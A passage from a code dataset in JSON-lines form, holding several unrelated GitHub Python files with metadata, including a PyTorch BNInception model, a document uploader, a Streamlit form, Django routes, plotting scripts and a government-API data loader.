"10742008508", "text": "import torch\nfrom torch import nn\nfrom collections import OrderedDict\nfrom pretrainedmodels.models.bninception import bninception, pretrained_settings, BNInception, model_zoo\n\n\nclass BNInceptionProtein(BNInception):\n def init_pretrained(self):\n settings = pretrained_settings['bninception']['imagenet']\n self.load_state_dict(model_zoo.load_url(settings['url']))\n self.input_space = settings['input_space']\n self.input_size = settings['input_size']\n self.input_range = settings['input_range']\n self.mean = settings['mean']\n self.std = settings['std']\n\n def __init__(self, num_classes):\n super(BNInceptionProtein, self).__init__(1000)\n self.init_pretrained()\n self.global_pool = nn.AdaptiveAvgPool2d(1)\n self.global_pool_max = nn.AdaptiveMaxPool2d(1)\n self.conv1_7x7_s2 = nn.Conv2d(4, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3))\n self.last_linear = nn.Sequential(OrderedDict([\n ('bn1', nn.BatchNorm1d(2048)),\n ('drop1', nn.Dropout(0.5)),\n ('linear1', nn.Linear(2048, 1024)),\n ('relu1', nn.ReLU()),\n ('bn2', nn.BatchNorm1d(1024)),\n ('drop2', nn.Dropout(p=0.5)),\n ('linear2', nn.Linear(1024, num_classes))\n ]))\n\n def logits(self, features):\n x_avg = self.global_pool(features)\n x_max = self.global_pool_max(features)\n x = torch.cat((x_avg, x_max), dim=1)\n x = x.view(x.size(0), -1)\n x = self.last_linear(x)\n return x\n\n\ndef bninception_avg_protein(num_classes):\n model = bninception(pretrained=\"imagenet\")\n model.global_pool = nn.AdaptiveAvgPool2d(1)\n model.conv1_7x7_s2 = nn.Conv2d(4, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3))\n model.last_linear = nn.Sequential(OrderedDict([\n ('bn1', nn.BatchNorm1d(1024)),\n ('drop1', nn.Dropout(0.5)),\n ('linear1', nn.Linear(1024, num_classes))\n ]))\n return model\n\n\ndef bninception_max_protein(num_classes):\n model = bninception(pretrained=\"imagenet\")\n model.global_pool = nn.AdaptiveMaxPool2d(1)\n model.conv1_7x7_s2 = nn.Conv2d(4, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3))\n model.last_linear = nn.Sequential(OrderedDict([\n ('bn1', nn.BatchNorm1d(1024)),\n ('drop1', nn.Dropout(0.5)),\n ('linear1', nn.Linear(1024, num_classes))\n ]))\n return model\n\n\ndef test():\n import torch\n model = BNInceptionProtein(28)\n i = torch.randn((2, 4, 128, 128)) # batch size == 1 would raise Exception\n o = model(i)\n print(o.size())\n\n for key, value in model.named_parameters():\n print(key)\n\n\nif __name__ == '__main__':\n test()\n", "repo_name": "sailfish009/mydl", "sub_path": "custom/protein/base/bninception.py", "file_name": "bninception.py", "file_ext": "py", "file_size_in_byte": 2716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pretrainedmodels.models.bninception.BNInception", "line_number": 7, "usage_type": "name"}, {"api_name": "pretrainedmodels.models.bninception.pretrained_settings", "line_number": 9, "usage_type": "name"}, {"api_name": "pretrainedmodels.models.bninception.model_zoo.load_url", "line_number": 10, "usage_type": "call"}, {"api_name": "pretrainedmodels.models.bninception.model_zoo", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveMaxPool2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 36, "usage_type": "call"}, {"api_name": "pretrainedmodels.models.bninception.bninception", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "pretrainedmodels.models.bninception.bninception", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn.AdaptiveMaxPool2d", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 69, "usage_type": "call"}]} {"seq_id": "28721478929", "text": "from docx import Document\nimport os\nimport requests\nimport json\ndef upload_doc():\n upload_url = \"http:///storeinkb\"\n upload_payload = \"\"\"{\n \"Subject\": \"\",\"Body\": \"&&&&\",\"Sender\": null,\"DocumentType\": \"Generic\",\"Recipients\": \"\",\"CarbonCopy\": \"\",\"BackCarbonCopy\": \"\",\n \"SentOn\": \"\",\"ContributedBy\": \"thameem.sakkarai\",\"Attachments\": \"\",\"FileName\": \"@@@@\",\"Title\": \"#### \",\n \"ExistingDocObjectId\": \"\",\"Client\": \"thameem\",\"DocumentTypeExtension\": \"$$$$\",\"CustomTags\": [],\"StaticQuestions\": [] }\"\"\"\n upload_filepath=\"./InputDocs/\"\n headers = {'content-type': \"application/json\"}\n for i in os.listdir(upload_filepath):\n if i.endswith(\".docx\"):\n doc = Document(upload_filepath+ i )\n filename,extension=os.path.splitext(i)\n if filename ==\"Reset My Cardinal Health Password.lnk\":\n filename = \"CPA_IL Report\"\n print(filename)\n extension=extension.upper()[1:]\n print(extension)\n fullText = []\n for para in doc.paragraphs:\n fullText.append(para.text)\n print(fullText)\n print(type(fullText))\n input_payload=upload_payload\n input_payload = input_payload.replace(\"&&&&\", str(str(fullText).encode(\"utf-8\", errors=\"strict\")))\n input_payload = input_payload.replace(\"$$$$\", str(extension))\n input_payload = input_payload.replace(\"####\", str(filename)).replace(\"@@@@\", str(i))\n print(input_payload)\n response = requests.request(\"POST\", url=upload_url, data=input_payload, headers=headers)\n if response is not None and response.status_code == 200:\n resp = json.loads(response.text)\n print(resp)\n\n else :\n filename, extension = os.path.splitext(i)\n if filename ==\"Cardinal - RUN SOW Contract Awareness\":\n filename = \"Cardinal health\"\n print(filename)\n print(extension.upper())\n file=open(upload_filepath + i, \"r\")\n fulltext=file.readlines()\n print(fullText)\n input_payload = upload_payload\n input_payload = input_payload.replace(\"&&&&\", str(str(fullText).encode(\"utf-8\", errors=\"strict\")))\n input_payload = input_payload.replace(\"$$$$\", str(extension.upper()))\n input_payload = input_payload.replace(\"####\", str(filename)).replace(\"@@@@\", str(i))\n print(input_payload)\n response = requests.request(\"POST\", url=upload_url, data=input_payload, headers=headers)\n if response is not None and response.status_code == 200:\n resp = json.loads(response.text)\n print(resp)\nif __name__ == \"__main__\":\n upload_doc()\n\n\n", "repo_name": "thameem786/POC_CODE", "sub_path": "upload_doc.py", "file_name": "upload_doc.py", "file_ext": "py", "file_size_in_byte": 2797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 13, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "requests.request", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "requests.request", "line_number": 51, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}]} {"seq_id": "23190185111", "text": "import streamlit as st\nimport pyodbc\nimport json\n\n\ndef ingresa_arreglo_tecnico():\n st.title(\"Registrar Pedido de Arreglo Técnico\")\n\n # Campos para ingresar los datos del arreglo técnico\n fecha = st.date_input(\"Fecha del Arreglo:\")\n nombreCliente = st.text_input(\"Nombre del Cliente:\")\n contacto = st.text_input(\"Número o Email de Contacto:\")\n modelo = st.text_input(\"Producto a Arreglar:\")\n falla = st.text_input(\"Falla:\")\n tipoDesbloqueo = st.text_input(\"Contraseña o Patrón de Desbloqueo:\")\n \n # Cargar imagen para el patrón de desbloqueo\n imagen_patron = st.file_uploader(\"Cargar Imagen para Patrón de Desbloqueo\", type=[\"jpg\", \"jpeg\", \"png\"])\n\n estado_options = [\"A arreglar\", \"En el técnico\", \"Avisado al Cliente\", \"Entregado\"]\n estado = st.selectbox(\"Estado:\", estado_options)\n\n observaciones = st.text_input(\"Observaciones:\")\n\n # Botón para registrar el arreglo técnico\n st.button(\"Registrar Arreglo Técnico\")\n\nif __name__ == \"__main__\":\n ingresa_arreglo_tecnico()\n", "repo_name": "JoseGerchinhoren/Megatron_streamlit_render", "sub_path": "ingresaArreglo.py", "file_name": "ingresaArreglo.py", "file_ext": "py", "file_size_in_byte": 1034, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "streamlit.title", "line_number": 7, "usage_type": "call"}, {"api_name": "streamlit.date_input", "line_number": 10, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 13, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 26, "usage_type": "call"}]} {"seq_id": "12985132105", "text": "# Init script!\n# last commit: Mishqutin - master - i dunno\nfrom lib.config import *\n\nfrom lib.shellman import ShellManager\nfrom lib.serverman import ServerManager\n\nfrom lib.jserver import server\n\nSettings[\"Globals\"] = globals()\n\n\nprint(\"Init Shell (Manager).\")\nShell = ShellManager()\n\n\nprint(\"Init Server Manager.\")\nServerMan = ServerManager(Shell.Cmd, Shell)\n\n# Server config.\nprint(\"Server config\")\nSERVER_KEY = Settings[\"config\"][\"Server.Key\"]\nSERVER_ADDRESS = Settings[\"config\"][\"Server.Address\"]\nSERVER_PORT = Settings[\"config\"][\"Server.Port\"]\nSERVER_IP = (SERVER_ADDRESS, SERVER_PORT)\n# Log path's static.\nLOG_PATH = Settings[\"log_file\"]\n\n# Init shell's server.\nprint(\"Server start\")\nServer = server.Server(SERVER_IP, SERVER_KEY, log=True, logfile=LOG_PATH)\n\nos.chdir(ROOT_PATH+\"/home\")\n\nprint(\"Init done!\")\nprint(\"Log file @ \"+LOG_PATH)\nprint(\"Currently @ \"+os.getcwd())\nprint(\"Running\")\n\nwhile Settings[\"Running\"]:\n try:\n Server.accept(ServerMan.serverAcceptHandler, closeClient=False)\n except KeyboardInterrupt:\n break\n\n\n\nprint(\"Server close\")\nServer.close()\n\nprint(\"eof\")\n# eof\n", "repo_name": "Mishqutin/syf_plaster", "sub_path": "init.py", "file_name": "init.py", "file_ext": "py", "file_size_in_byte": 1115, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lib.shellman.ShellManager", "line_number": 14, "usage_type": "call"}, {"api_name": "lib.serverman.ServerManager", "line_number": 18, "usage_type": "call"}, {"api_name": "lib.jserver.server.Server", "line_number": 31, "usage_type": "call"}, {"api_name": "lib.jserver.server", "line_number": 31, "usage_type": "name"}]} {"seq_id": "6148997452", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\tpath('all-quizzes/', views.AllQuizListView.as_view()),\n\tpath('my-quizzes/', views.UserCompletedQuizListView.as_view()), # completed\n\tpath('quizzes/', views.UserUnCompletedQuizListView.as_view()),\t # uncompleted\n\tpath('quizzes/my//data/', views.UserUncompletedQuizDetailView.as_view()),\n\tpath('quizzes/my//questions/', views.UserUncompletedQuizDetailQuestionsView.as_view()),\n\tpath('quizzes//', views.QuizDetailView.as_view()), # start\n\tpath('save-answer/', views.SaveUsersAnswerView.as_view()),\n\tpath('quizzes//submit/', views.SubmitQuizView.as_view()),\n]\n", "repo_name": "muhtor/course", "sub_path": "apps/quiz/api/v1/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]} {"seq_id": "14329510773", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm # latex module\n#import pandas as pd # may not need\n\nf = np.genfromtxt(\"restart_flow.csv\", names = True, delimiter=',')\n\n#extracting the variables\nn = 15 # number of decimals to round to\nx = np.around(f['x'], decimals=n)\ny = np.around(f['y'], decimals=n)\ntry:\n rho = np.around(f['Density'], decimals=n)\nexcept:\n rho1 = np.around(f['Density_0'], decimals=n)\n rho2 = np.around(f['Density_1'], decimals=n)\n rho3 = np.around(f['Density_2'], decimals=n)\n rho4 = np.around(f['Density_3'], decimals=n)\n rho5 = np.around(f['Density_4'], decimals=n)\n rhon = [rho1,rho2,rho3,rho4,rho5]\n rho = sum(rhon)\n\nrhou = np.around(f['Momentum_x'], decimals=n)\nrhov = np.around(f['Momentum_y'], decimals=n)\nE= np.around(f['Energy'], decimals=n)\nP = np.around(f['Pressure'], decimals=n)\ntry:\n T = np.around(f['Temperature'], decimals=n)\nexcept:\n T = np.around(f['Temperature_tr'], decimals=n)\nma = np.around(f['Mach'], decimals=n)\ncp = np.around(f['Pressure_Coefficient'], decimals=n)\nmu = np.around(f['Laminar_Viscosity'], decimals=n)\n# velocity from the momentum\nu = rhou/rho\nv = rhov/rho\nu_max = max(u)\n\n# ######################## #\n# ######################## #\n\nnewx = x.reshape((65,65))\nnewy = y.reshape((65,65))\nnewT = T.reshape((65,65))\nnewP = P.reshape((65,65))\n\n\nfig, (ax1,ax2) = plt.subplots(2,1)\nfig.set_size_inches(18.5, 10.5)\nT = ax1.contourf(newx, newy, newT, levels = 100, cmap=cm.jet ) \nax1.set_title(\"Temperature Contours\")\nax1.set_xlabel(\"x\")\nax1.set_ylabel(\"y\")\ntbar = plt.colorbar(T, ax=ax1)\ntbar.set_label(\"Temperature [$^{\\circ}$C]\" ) #rotation= 270\n\nP = ax2.contourf(newx, newy, newP, levels = 100)\nax2.set_title(\"Pressure Contours\")\nax2.set_xlabel(\"x\")\nax2.set_ylabel(\"y\")\nPbar = plt.colorbar(P, ax=ax2)\nPbar.set_label(\"Pressure [Pa]\" ) #rotation= 270\n\nplt.show()\n", "repo_name": "maxcwalker/plotting", "sub_path": "originalPlotting/plotconts.py", "file_name": "plotconts.py", "file_ext": "py", "file_size_in_byte": 1873, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.genfromtxt", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.cm.jet", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}]} {"seq_id": "38149562940", "text": "import cv2\nimport sys\n\nfrom structures.sslad_2d.definitions import SSLADDatasetTypes\nfrom structures.sslad_2d.sslad_dataset import SSLADDataset\nfrom structures.sslad_2d.image import Image\n\n\nif __name__ == '__main__':\n \"\"\"\n Cycles through unlabeled images and displays their annotaitons from a given save file\n \"\"\"\n\n unlabeled_data_file = sys.argv[1]\n starting_image = int(sys.argv[2])\n\n dataset = SSLADDataset()\n dataset.load(unlabeled_data_file=unlabeled_data_file)\n\n unlabeled_images = dataset.get_subset(SSLADDatasetTypes.UNLABELED)\n\n total_annotated = len([image for image in unlabeled_images if image.is_annotated])\n print('total annotated unlabeled images: {}'.format(total_annotated))\n\n window_name = 'Annotated images'\n cv2.namedWindow(window_name, cv2.WINDOW_AUTOSIZE)\n\n for i, image in enumerate(unlabeled_images[starting_image:]):\n\n print('\\rimage {}'.format(starting_image + i), end='')\n\n img = image.draw_annotations()\n\n resized_img = Image.resize_to_width(img, 1000)\n\n cv2.imshow(window_name, resized_img)\n # Exit on esc\n if cv2.waitKey(0) == 27:\n break\n print()\n\n cv2.destroyAllWindows()\n", "repo_name": "NikolaJov96/sslad2021", "sub_path": "exploring_data/trainer_predictions/display_annotations.py", "file_name": "display_annotations.py", "file_ext": "py", "file_size_in_byte": 1201, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "structures.sslad_2d.sslad_dataset.SSLADDataset", "line_number": 17, "usage_type": "call"}, {"api_name": "structures.sslad_2d.definitions.SSLADDatasetTypes.UNLABELED", "line_number": 20, "usage_type": "attribute"}, {"api_name": "structures.sslad_2d.definitions.SSLADDatasetTypes", "line_number": 20, "usage_type": "name"}, {"api_name": "cv2.namedWindow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.WINDOW_AUTOSIZE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "structures.sslad_2d.image.Image.resize_to_width", "line_number": 34, "usage_type": "call"}, {"api_name": "structures.sslad_2d.image.Image", "line_number": 34, "usage_type": "name"}, {"api_name": "cv2.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 42, "usage_type": "call"}]} {"seq_id": "2339718189", "text": "import requests\nimport sys\nimport datetime\nimport logging, configparser\nfrom dbHelper import mysqlController\nfrom datetime import timedelta\nimport warnings\nimport signal\nimport time\nwarnings.filterwarnings(\"ignore\")\n\nlogging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', filename='debug.log', filemode='w', level=logging.DEBUG)\nconfig = configparser.ConfigParser()\nconfig.read('./config.ini')\nmc = mysqlController() ##initialize connection to db\n\ndef handle_timeout(signum, frame):\n raise TimeoutError\n\n \n\"\"\"\nFunction to get districtwise bore well data\nCreated By : Rasmi Ranjan Swain\nCreated On :05 Oct 2023\n\"\"\"\ndef getBlockBorewellData(fyear,schemename):\n \"\"\"\n Function to get Block wise bore well data\n fyear : Finacial year\n schemename : Scheme name \n \"\"\" \n select_query = 'SELECT vch_lgd_code FROM t_district_bore_well_data where deleted_at is NULL AND vch_finacial_year =\"{0}\" AND vch_scheme_name=\"{1}\" '.format(fyear,schemename)\n #print(select_query)\n cur = mc.conn.cursor()\n cur.execute(select_query)\n dist_data=cur.fetchall()\n for lgd_code in dist_data:\n finalUrl = \"{0}?appKey={1}&F_YEAR={2}&scheme={3}&distcode={4}\".format('https://dbtmbdodisha.nic.in/dafp/getSpReportForAdapBlockWiseBWL','BVgd758hy4g5JUTi3589FR67', fyear,schemename,''.join(lgd_code))\n response_json = mc.fetachUrlJsonData(\"GET\",finalUrl)\n \n for rdata in response_json:\n slno = rdata['Slno']\n block_name = rdata['BlockName']\n lgd_code = ''.join(lgd_code) \n admin_target = rdata['AdminTarget']\n valid_application = rdata['ValidApplication']\n go_ahaed_generated = rdata['GoAheadGenerated']\n project_competed = rdata['ProjectCompleted']\n pyment_gec = rdata['PymntGec']\n subsidy = rdata['Subsidy']\n try: \n insert_query = \"INSERT IGNORE INTO t_block_bore_well_data (vch_block_name,vch_dist_lgd_code,vch_admin_target,vch_valid_application,vch_goahead_generated,vch_project_completed,vch_pymnt_gec,vch_subsidy,vch_finacial_year,vch_scheme_name) VALUES (%s, %s, %s, %s, %s,%s, %s, %s, %s, %s)\"\n valdata =(block_name,lgd_code,admin_target,valid_application,go_ahaed_generated,project_competed,pyment_gec,subsidy,fyear,schemename)\n cur = mc.conn.cursor()\n cur.execute(insert_query, valdata)\n mc.conn.commit()\n except TimeoutError:\n logging.error(\"Error in insertion - t_block_bore_well_data\")\n logging.error(\"It took too long to finish the job\")\n except Exception as e:\n mc.conn.rollback()\n logging.error(\"Error in insertion - t_block_bore_well_data\")\n logging.error(\"Error in getting data for t_block_bore_well_data from API getSpReportForAdapBlockWiseBWL\")\n logging.error(e)\n \n\nprint(\"District Bore well completed\")\n\n\nif __name__ == \"__main__\":\n stm = \"TRUNCATE TABLE t_block_bore_well_data\"\n cur = mc.conn.cursor()\n cur.execute(stm)\n # Get the current financial year\n current_fy = mc.get_current_fy()\n f_year=''\n scheme_data =('RKVY','SP')\n for j in scheme_data:\n for i in range(2017, int(current_fy[:4]) + 1):\n f_year = str(i) + \"-\" + str(i + 1)[-2:]\n getBlockBorewellData(f_year,j)\n #time.sleep(10)\n \n\n #getBlockBorewellData('2023-24','SP')", "repo_name": "sairasmi/api_integration", "sub_path": "block_bore_well_data.py", "file_name": "block_bore_well_data.py", "file_ext": "py", "file_size_in_byte": 3556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.filterwarnings", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 12, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 13, "usage_type": "call"}, {"api_name": "dbHelper.mysqlController", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 62, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 64, "usage_type": "call"}]} {"seq_id": "40977629881", "text": "from collections import defaultdict\nclass DSU:\n def __init__(self,N):\n self.p = list(range(N))\n self.rank = [1]*N\n \n def find(self,x):\n if self.p[x] != x:\n self.p[x] =self.find(self.p[x])\n return self.p[x]\n \n def union(self,x,y):\n xr = self.find(x)\n yr = self.find(y)\n if self.rank[xr] int:\n raise AssertionError(\"need to be implemented\")\n\n\ndef get_row_id(row_id: Union[int, ORow]) -> int:\n if isinstance(row_id, int):\n return row_id\n return row_id._row_id()\n\n\nclass OTable(metaclass=Template):\n \"\"\"\n >>> from datetime import date, datetime\n >>> class A(SmAttr):\n ... i:int\n ... s:str = 'xyz'\n ... d:Optional[datetime]\n ... z:List[datetime]\n ... y:Dict[str,str]\n ...\n >>> t = OTable[A]()\n >>> str(t)\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n'\n >>> t.add_row(A(i=5,s='abc'))\n 0\n >>> str(t)\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, [], {}]\\\\n'\n >>> t.find_invalid_keys(t.add_row([7,None,'2018-08-10',None,None]))\n []\n >>> t.add_row([])\n Traceback (most recent call last):\n ...\n AttributeError: arrays has to match in size: ['i', 's', 'd', 'z', 'y'] []\n >>> t.add_row([None,None,None,None,None])\n Traceback (most recent call last):\n ...\n hashkernel.mold.ValueRequired: no default for Required[int]\n error in i:Required[int]\n >>> str(t)\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, [], {}]\\\\n[7, \"xyz\", \"2018-08-10T00:00:00\", [], {}]\\\\n'\n >>> t = OTable(str(t),A)\n >>> str(t)\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, [], {}]\\\\n[7, \"xyz\", \"2018-08-10T00:00:00\", [], {}]\\\\n'\n >>> OTable[A]('a')\n Traceback (most recent call last):\n ...\n AttributeError: header should start with \"#\": a\n >>> t.find_invalid_rows()\n []\n >>> r=t.new_row()\n >>> t.find_invalid_rows()\n [2]\n >>> t.find_invalid_keys(r)\n ['i', 's', 'z', 'y']\n >>> t.find_invalid_keys(2)\n ['i', 's', 'z', 'y']\n >>> r.i\n >>> r.i=77\n >>> r.i\n 77\n >>> r[3]=[datetime(2018,8,1),]\n >>> t.find_invalid_keys(r)\n ['s', 'y']\n >>> r['y']={}\n >>> r['y']\n {}\n >>> r[4]\n {}\n >>> t.find_invalid_rows()\n [2]\n >>> str(t)\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, [], {}]\\\\n[7, \"xyz\", \"2018-08-10T00:00:00\", [], {}]\\\\n[77, null, null, [\"2018-08-01T00:00:00\"], {}]\\\\n'\n >>> len(t)\n 3\n >>> str(OTable[A](str(t)))\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, [], {}]\\\\n[7, \"xyz\", \"2018-08-10T00:00:00\", [], {}]\\\\n[77, \"xyz\", null, [\"2018-08-01T00:00:00\"], {}]\\\\n'\n >>> r['s']='zyx'\n >>> str(OTable[A](str(t)))\n '#{\"columns\": [\"i\", \"s\", \"d\", \"z\", \"y\"]}\\\\n[5, \"abc\", null, 